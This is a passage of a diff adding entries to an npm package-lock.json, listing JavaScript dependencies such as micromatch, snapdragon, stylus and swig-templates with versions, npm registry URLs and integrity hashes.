"define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "requires": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "requires": { + "array-unique": "^0.3.2", + "define-property": "^1.0.0", + "expand-brackets": "^2.1.4", + "extend-shallow": "^2.0.1", + "fragment-cache": "^0.2.1", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "requires": { + "extend-shallow": "^2.0.1", + "is-number": "^3.0.0", + "repeat-string": "^1.6.1", + "to-regex-range": "^2.1.0" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "requires": { + "arr-diff": "^4.0.0", + "array-unique": "^0.3.2", + "braces": "^2.3.1", + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "extglob": "^2.0.4", + "fragment-cache": "^0.2.1", + "kind-of": "^6.0.2", + "nanomatch": "^1.2.9", + "object.pick": "^1.3.0", + "regex-not": "^1.0.0", + "snapdragon": "^0.8.1", + "to-regex": "^3.0.2" + } + }, + "readable-stream": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", + "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "regex-cache": { + "version": "0.4.4", + "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.4.tgz", + "integrity": "sha512-nVIZwtCjkC9YgvWkpM55B5rBhBYRZhAaJbgcFYXXsHnbZ9UZI9nnVWYZpBlCqv9ho2eZryPnWrZGsOdPwVWXWQ==", + "requires": { + "is-equal-shallow": "^0.1.3" + } + }, + "regex-not": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz", + "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==", + "requires": { + "extend-shallow": "^3.0.2", + "safe-regex": "^1.1.0" + } + }, + "remove-trailing-separator": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz", + "integrity": "sha1-wkvOKig62tW8P1jg1IJJuSN52O8=" + }, + "repeat-element": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.3.tgz", + "integrity": "sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==" + }, + "repeat-string": { + "version": "1.6.1", + "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz", + "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=" + }, + "require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=" + }, + "require-main-filename": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz", + "integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE=" + }, + "resolve": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.10.1.tgz", + "integrity": "sha512-KuIe4mf++td/eFb6wkaPbMDnP6kObCaEtIDuHOUED6MNUo4K670KZUHuuvYPZDxNF0WVLw49n06M2m2dXphEzA==", + "requires": { + "path-parse": "^1.0.6" + } + }, + "resolve-url": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz", + "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=" + }, + "ret": { + "version": "0.1.15", + "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz", + "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==" + }, + "right-align": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/right-align/-/right-align-0.1.3.tgz", + "integrity": "sha1-YTObci/mo1FWiSENJOFMlhSGE+8=", + "requires": { + "align-text": "^0.1.1" + } + }, + "rimraf": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz", + "integrity": "sha1-7nEM5dk6j9uFb7Xqj/Di11k0sto=", + "optional": true, + "requires": { + "glob": "^6.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "safe-json-stringify": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/safe-json-stringify/-/safe-json-stringify-1.2.0.tgz", + "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==", + "optional": true + }, + "safe-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz", + "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=", + "requires": { + "ret": "~0.1.10" + } + }, + "sax": { + "version": "0.5.8", + "resolved": "https://registry.npmjs.org/sax/-/sax-0.5.8.tgz", + "integrity": "sha1-1HLbIo6zMcJQaw6MFVJK25OdEsE=" + }, + "select": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/select/-/select-1.1.2.tgz", + "integrity": "sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=", + "optional": true + }, + "semver": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz", + "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA==" + }, + "send": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", + "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", + "requires": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.6.2", + "mime": "1.4.1", + "ms": "2.0.0", + "on-finished": "~2.3.0", + "range-parser": "~1.2.0", + "statuses": "~1.4.0" + }, + "dependencies": { + "mime": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", + "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==" + }, + "statuses": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", + "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" + } + } + }, + "serve-static": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", + "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", + "requires": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.2", + "send": "0.16.2" + } + }, + "set-blocking": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", + "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" + }, + "set-value": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.0.tgz", + "integrity": "sha512-hw0yxk9GT/Hr5yJEYnHNKYXkIA8mVJgd9ditYZCe16ZczcaELYYcfvaXesNACk2O8O0nTiPQcQhGUQj8JLzeeg==", + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" + }, + "shebang-command": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", + "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "requires": { + "shebang-regex": "^1.0.0" + } + }, + "shebang-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=" + }, + "signal-exit": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz", + "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=" + }, + "snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "requires": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + } + } + }, + "snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "requires": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "requires": { + "is-descriptor": "^1.0.0" + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "requires": { + "kind-of": "^6.0.0" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "requires": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==" + } + } + }, + "snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "requires": { + "kind-of": "^3.2.0" + } + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=" + }, + "source-map-resolve": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.2.tgz", + "integrity": "sha512-MjqsvNwyz1s0k81Goz/9vRBe9SZdB09Bdw+/zYyO+3CuPk6fouTaxscHkgtE8jKvf01kVfl8riHzERQ/kefaSA==", + "requires": { + "atob": "^2.1.1", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "source-map-url": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz", + "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=" + }, + "split-string": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", + "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", + "requires": { + "extend-shallow": "^3.0.0" + } + }, + "sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" + }, + "static-extend": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", + "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", + "requires": { + "define-property": "^0.2.5", + "object-copy": "^0.1.0" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "requires": { + "is-descriptor": "^0.1.0" + } + } + } + }, + "statuses": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.3.1.tgz", + "integrity": "sha1-+vUbnrdKrvOzrPStX2Gr8ky3uT4=" + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + } + } + }, + "string_decoder": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.2.0.tgz", + "integrity": "sha512-6YqyX6ZWEYguAxgZzHGL7SsCeGx3V2TtOTqZz1xSTSWnqsbWwbptafNyvf/ACquZUXV3DANr5BDIwNYe1mN42w==", + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "requires": { + "ansi-regex": "^3.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=" + } + } + }, + "strip-eof": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz", + "integrity": "sha1-u0P/VZim6wXYm1n80SnJgzE2Br8=" + }, + "strip-indent": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-2.0.0.tgz", + "integrity": "sha1-XvjbKV0B5u1sv3qrlpmNeCJSe2g=" + }, + "striptags": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/striptags/-/striptags-2.2.1.tgz", + "integrity": "sha1-TEULcI1BuL85zyTEn/I0/Gqr/TI=" + }, + "stylus": { + "version": "0.54.5", + "resolved": "https://registry.npmjs.org/stylus/-/stylus-0.54.5.tgz", + "integrity": "sha1-QrlWCTHKcJDOhRWnmLqeaqPW3Hk=", + "requires": { + "css-parse": "1.7.x", + "debug": "*", + "glob": "7.0.x", + "mkdirp": "0.5.x", + "sax": "0.5.x", + "source-map": "0.1.x" + }, + "dependencies": { + "glob": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", + "integrity": "sha1-IRuvr0nlJbjNkyYNFKsTYVKz9Xo=", + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.2", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "source-map": { + "version": "0.1.43", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.1.43.tgz", + "integrity": "sha1-wkvBRspRfBRx9drL4lcbK3+eM0Y=", + "requires": { + "amdefine": ">=0.0.4" + } + } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + }, + "swig-extras": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/swig-extras/-/swig-extras-0.0.1.tgz", + "integrity": "sha1-tQP+3jcqucJMasaMr2VrzvGHIyg=", + "requires": { + "markdown": "~0.5.0" + } + }, + "swig-templates": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/swig-templates/-/swig-templates-2.0.3.tgz", + "integrity": "sha512-QojPTuZWdpznSZWZDB63/grsZuDwT/7geMeGlftbJXDoYBIZEnTcKvz4iwYDv3SwfPX9/B4RtGRSXNnm3S2wwg==", + "requires": { + "optimist": "~0.6", + "uglify-js": "2.6.0" + } + }, + "text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha1-f17oI66AUgfACvLfSoTsP8+lcLQ=" + }, + "through": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/through/-/through-2.3.8.tgz", + "integrity": "sha1-DdTJ/6q8NXlgsbckEV1+Doai4fU=" + }, + "tildify": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/tildify/-/tildify-1.2.0.tgz", + "integrity": "sha1-3OwD9V3Km3qj5bBPIYF+tW5jWIo=", + "requires": { + "os-homedir": "^1.0.0" + } + }, + "tiny-emitter": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/tiny-emitter/-/tiny-emitter-2.1.0.tgz", + "integrity": "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q==", + "optional": true + }, + "titlecase": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/titlecase/-/titlecase-1.1.3.tgz", + "integrity": "sha512-pQX4oiemzjBEELPqgK4WE+q0yhAqjp/yzusGtlSJsOuiDys0RQxggepYmo0BuegIDppYS3b3cpdegRwkpyN3hw==" + }, + "to-fast-properties": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz", + "integrity": "sha1-uDVx+k2MJbguIxsG46MFXeTKGkc=" + }, + "to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", + "requires": { + "kind-of": "^3.0.2" + } + }, + "to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz", + "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==", + "requires": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + } + }, + "to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz", + "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "requires": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": 